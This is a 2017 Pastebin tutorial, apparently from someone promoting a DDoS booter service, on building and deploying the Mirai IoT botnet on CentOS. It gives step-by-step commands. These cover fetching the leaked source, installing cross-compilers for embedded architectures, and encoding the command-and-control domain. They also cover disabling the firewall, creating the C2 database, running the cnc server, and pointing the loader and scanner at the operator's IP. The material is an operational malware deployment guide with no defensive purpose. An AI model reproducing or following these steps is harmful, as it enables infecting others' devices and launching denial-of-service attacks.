Jihadi4Prez

[TUT] How to setup Mirai on Centos/REHL

Jun 5th, 2017
7,178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.55 KB | None | 0 0
  1. ███╗ ███╗██╗██████╗ █████╗ ██╗ ██████╗ ██████╗ ████████╗███╗ ██╗███████╗████████╗
  2. ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██╔═══██╗╚══██╔══╝████╗ ██║██╔════╝╚══██╔══╝
  3. ██╔████╔██║██║██████╔╝███████║██║ ██████╔╝██║ ██║ ██║ ██╔██╗ ██║█████╗ ██║
  4. ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██╗██║ ██║ ██║ ██║╚██╗██║██╔══╝ ██║
  5. ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██████╔╝╚██████╔╝ ██║ ██║ ╚████║███████╗ ██║
  6. ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝
  7.  
  8. ████████╗██╗ ██╗████████╗ ██████╗ ██████╗ ██╗ █████╗ ██╗
  9. ╚══██╔══╝██║ ██║╚══██╔══╝██╔═══██╗██╔══██╗██║██╔══██╗██║
  10. ██║ ██║ ██║ ██║ ██║ ██║██████╔╝██║███████║██║
  11. ██║ ██║ ██║ ██║ ██║ ██║██╔══██╗██║██╔══██║██║
  12. ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║██║██║ ██║███████╗
  13. ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝
  14.  
  15. ██████╗███████╗███╗ ██╗████████╗ ██████╗ ███████╗ ██████╗
  16. ██╔════╝██╔════╝████╗ ██║╚══██╔══╝██╔═══██╗██╔════╝ ██╔════╝
  17. ██║ █████╗ ██╔██╗ ██║ ██║ ██║ ██║███████╗ ███████╗
  18. ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║ ██║╚════██║ ██╔═══██╗
  19. ╚██████╗███████╗██║ ╚████║ ██║ ╚██████╔╝███████║ ╚██████╔╝
  20. ╚═════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
  21.  
  22.  
  23. [By] Jihadi4Potus
  24. Leakedfiles.org
  25. [Note]: This is a new tutorial on "How to setup Mirai" but on centos 6, enjoy!
  26.  
  27. [*Introduction*]
  28. I've posted many ways of setting up mirai, if you can't figure it out now. I don't know what to tell you anymore.
  29. This tutorial is for people to learn how to setup up mirai from source, by source I mean cross compiling and building it from scratch without using the builder. I will be providing a builder I made to suit CentOS 6/RHEL machines.
  30.  
  31. [*Credits*]
  32. Well, atleast leave this in here if you want to steal my work.
  33. Made by: @Jihadi4Potus
  34.  
  35. Social Media(s):
  36. Website(s): http://leakedfiles.org/ http://cbooter.com/
  37. Pastebin: https://www.pastebin.com/jihadi4prez/
  38. Instagram: https://www.instagram.com/jihadi4potus/
  39. Discord: https://discord.gg/JQW3rpQ // https://discord.me/Hackintosh
  40.  
  41. MiraiSource: git clone https://github.com/jgamblin/Mirai-Source-Code
  42.  
  43. Let's begin!
  44. [*Self installing*]
  45. yum update -y
  46. yum install epel-release -y
  47. yum groupinstall "Development Tools" -y
  48. yum install gmp-devel -y
  49. sudo ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
  50. yum install gcc gcc-c++ electric-fence sudo git libc6-dev -y
  51.  
  52. ; This will update your box and install all the utilities for mirai.
  53. ; You still need to install goLang for Mirai to work.
  54.  
  55. [*Setting up GoLang*]
  56. cd /tmp
  57. wget https://storage.googleapis.com/golang/go1.5.linux-amd64.tar.gz
  58. tar -zxvf go1.5.linux-amd64.tar.gz && mv go /usr/local && rm -fr go1.5.linux-amd64.tar.gz
  59. ln -s /usr/local/go/bin/go /usr/local/bin/go
  60. ln -s /usr/local/go/bin/godoc /usr/local/bin/godoc
  61. ln -s /usr/local/go/bin/gofmt /usr/local/bin/gofmt
  62. go version
  63. ; Good job! You've set up GoLang successfully!
  64.  
  65. [*Installing the Architectures*]
  66. mkdir /etc/xcompile && cd /etc/xcompile
  67. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  68. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  69. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  70. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  71. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  72. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  73. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  74. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  75. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  76. tar -jxf cross-compiler-armv4l.tar.bz2
  77. tar -jxf cross-compiler-i586.tar.bz2
  78. tar -jxf cross-compiler-m68k.tar.bz2
  79. tar -jxf cross-compiler-mips.tar.bz2
  80. tar -jxf cross-compiler-mipsel.tar.bz2
  81. tar -jxf cross-compiler-powerpc.tar.bz2
  82. tar -jxf cross-compiler-sh4.tar.bz2
  83. tar -jxf cross-compiler-sparc.tar.bz2
  84. tar -jxf cross-compiler-armv6l.tar.bz2
  85. rm *.tar.bz2
  86. mv cross-compiler-armv4l armv4l
  87. mv cross-compiler-i586 i586
  88. mv cross-compiler-m68k m68k
  89. mv cross-compiler-mips mips
  90. mv cross-compiler-mipsel mipsel
  91. mv cross-compiler-powerpc powerpc
  92. mv cross-compiler-sh4 sh4
  93. mv cross-compiler-sparc sparc
  94. mv cross-compiler-armv6l armv6l
  95.  
  96. ; Execute these in your xfce terminal
  97. ; Don't know what I'm talking about? Try this http://prntscr.com/ff55r6
  98. export PATH=$PATH:/etc/xcompile/armv4l/bin
  99. export PATH=$PATH:/etc/xcompile/armv6l/bin
  100. export PATH=$PATH:/etc/xcompile/i586/bin
  101. export PATH=$PATH:/etc/xcompile/m68k/bin
  102. export PATH=$PATH:/etc/xcompile/mips/bin
  103. export PATH=$PATH:/etc/xcompile/mipsel/bin
  104. export PATH=$PATH:/etc/xcompile/powerpc/bin
  105. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  106. export PATH=$PATH:/etc/xcompile/sh4/bin
  107. export PATH=$PATH:/etc/xcompile/sparc/bin
  108. export PATH=$PATH:/etc/xcompile/armv6l/bin
  109. export PATH=$PATH:/usr/local/go/bin
  110. export GOPATH=$HOME/Documents/go
  111.  
  112. [*GoLang Drivers & building debug/release*]
  113. ; Very self explanitory
  114. go get github.com/go-sql-driver/mysql
  115. go get github.com/mattn/go-shellwords
  116. ./build.sh debug telnet
  117.  
  118. [*Obfuscated string*]
  119. ; I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
  120. ./enc string changeme.com
  121. ; Now add this to your table.c file.
  122.  
  123. [*Database setup*]
  124. ; Now where going to setup the database permissions and users.
  125. ; If you have iptbales/ip6tables or any firewall install disable it.
  126.  
  127. service iptables stop
  128. /etc/ini.d/iptbales stop
  129.  
  130. [*Database setup*]
  131. /usr/bin/mysql_secure_installation
  132. ;It will ask you to set a password, make sure you remember this.
  133. ;Edit your main.go in /cnc/
  134. ex: 120.0.0.1:3306
  135. ;Once you've done the step above were going to add the database and user perms. follow this link.
  136. ;Create the database first
  137. create database mirai;
  138. ;Next select the database
  139. use mirai
  140. ;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.)
  141. http://pastebin.com/BsSWnK7i
  142. ;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5
  143. ;Now your server should be online
  144. Service mysql restart
  145. ;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it.
  146. ./cnc
  147. ;You should see - http://prntscr.com/dnsluv
  148. ;Now your going to have to move the prompt.txt file in mirai main directory into the release folder
  149. ;Now you can login through your ssh client with telnet.
  150.  
  151. [*Loader Setup*]
  152. nano /Mirai-Source-Code/dlr/main.c
  153. ; edit this line "#define HTTP_SERVER utils_inet_addr(127,0,0,1)"
  154. cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins
  155. nano /Mirai-Source-Code/loader/src/main.c
  156. ; Add your server ip.
  157. chmod 777 build.sh && ./build.sh
  158. nano scanListen.go
  159. ; Edit your server ip.
  160. go build scanListen.go
  161. Now you're done!
Add Comment
Please, Sign In to add comment